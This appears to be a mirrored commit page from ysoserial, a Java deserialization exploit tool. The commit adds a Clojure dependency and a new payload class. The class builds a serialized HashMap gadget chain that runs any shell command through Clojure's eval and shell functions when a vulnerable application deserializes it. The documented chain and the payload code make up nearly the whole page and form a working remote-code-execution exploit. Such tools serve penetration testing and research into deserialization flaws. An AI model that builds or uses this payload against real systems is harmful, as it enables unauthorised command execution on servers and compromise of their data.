mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Add a gadget chain for exploiting the presence of clojure.
This commit is contained in:
@@ -297,6 +297,11 @@
|
|||||||
<artifactId>slf4j-api</artifactId>
|
<artifactId>slf4j-api</artifactId>
|
||||||
<version>1.7.21</version>
|
<version>1.7.21</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.clojure</groupId>
|
||||||
|
<artifactId>clojure</artifactId>
|
||||||
|
<version>1.8.0</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
|||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||||
|
import clojure.lang.PersistentArrayMap;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Gadget chain:
|
||||||
|
ObjectInputStream.readObject()
|
||||||
|
HashMap.readObject()
|
||||||
|
AbstractTableModel$ff19274a.hashCode()
|
||||||
|
clojure.core$comp$fn__4727.invoke()
|
||||||
|
clojure.core$constantly$fn__4614.invoke()
|
||||||
|
clojure.main$eval_opt.invoke()
|
||||||
|
|
||||||
|
Requires:
|
||||||
|
org.clojure:clojure
|
||||||
|
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||||
|
*/
|
||||||
|
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||||
|
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
|
||||||
|
|
||||||
|
public Map<?, ?> getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
final String[] execArgs = command.split(" ");
|
||||||
|
final StringBuilder commandArgs = new StringBuilder();
|
||||||
|
for (String arg : execArgs) {
|
||||||
|
commandArgs.append("\" \"");
|
||||||
|
commandArgs.append(arg);
|
||||||
|
}
|
||||||
|
commandArgs.append("\"");
|
||||||
|
|
||||||
|
final String clojurePayload =
|
||||||
|
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
|
||||||
|
|
||||||
|
Map<String, Object> fnMap = new HashMap<String, Object>();
|
||||||
|
fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
|
||||||
|
|
||||||
|
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||||
|
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||||
|
|
||||||
|
HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
|
||||||
|
targetMap.put(model, null);
|
||||||
|
|
||||||
|
fnMap.put("hashCode",
|
||||||
|
new clojure.core$comp().invoke(
|
||||||
|
new clojure.main$eval_opt(),
|
||||||
|
new clojure.core$constantly().invoke(clojurePayload)));
|
||||||
|
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||||
|
|
||||||
|
return targetMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(Clojure.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user